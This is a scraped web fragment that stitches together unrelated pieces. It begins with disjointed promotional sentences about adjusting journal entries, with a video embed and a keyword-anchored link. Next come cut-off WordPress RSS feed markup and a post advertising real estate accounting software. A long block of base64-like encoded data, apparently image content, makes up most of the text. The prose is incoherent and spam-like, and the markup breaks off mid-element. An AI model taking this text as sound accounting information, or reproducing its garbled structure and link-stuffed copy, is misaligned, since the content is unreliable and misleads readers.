<p>Plus, you’ll learn how to record these entries, some common errors, and how to correct them. IAS 37 – Provisions, contingent liabilities and contingent assets Adjusting Journal Entry Definition Under the accrual method of accounting, a business is to report all of the revenues (and&#8230; In a periodic inventory system, an adjusting entry is used to determine the cost of goods sold expense.</p>
<p>To get started, though, check out our guide to small business depreciation. Except, in this case, you’re paying for something up front—then recording the expense <a href="https://accountingcoaching.online/adjusting-entries/">adjusting entries are dated</a> for the period it applies to. No matter what type of accounting you use, if you have a bookkeeper, they’ll handle any and all adjusting entries for you. Summary of the importance of adjusting entries in year-end financial reporting and final thoughts on best practices.</p>
<div style='text-align:center'><iframe width='568' height='314' src='https://www.youtube.com/embed/Jnwga1N8ICA' frameborder='0' alt='adjusting entries are dated' allowfullscreen></iframe></div>
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		<title>Spend Management Software for Receipts &#038; Expenses</title>
		<link>https://psp-wp-test.objectsdev.com/spend-management-software-for-receipts-expenses-6/</link>
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		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Mon, 03 Aug 2020 16:45:26 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=871141</guid>

					<description><![CDATA[Designed as real estate development accounting software, it helps you keep budgets in check throughout the construction phase. Our Real Estate Management Software acts as a centralized platform designed to streamline every stage of property development. With a strong focus on user experience, the system offers real-time dashboards, customizable reports, project status and milestone tracking [&#8230;]]]></description>
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width="258px" alt="accounting software for real estate developers"/></p>
<p><p>Designed as real estate development accounting software, it helps you keep budgets in check throughout the construction phase. Our Real Estate Management Software acts as a centralized platform designed to streamline every stage of property development. With a strong focus on user experience, the system offers real-time dashboards, customizable reports, project status and milestone tracking to enhance project oversight. Additionally, built-in risk assessment tools help identify potential risks early, while automated workflows reduce administrative burdens and keep teams focused on strategic goals. Property management companies can also use real estate accounting software to <a href="https://backinsights.com/professional-real-estate-bookkeeping/">https://backinsights.com/professional-real-estate-bookkeeping/</a> run financial reports on income and expenses from rental properties. The reports can give you an overview of rental income, vacant units, and expenses on advertising, repairs and maintenance, and more.</p>
</p>
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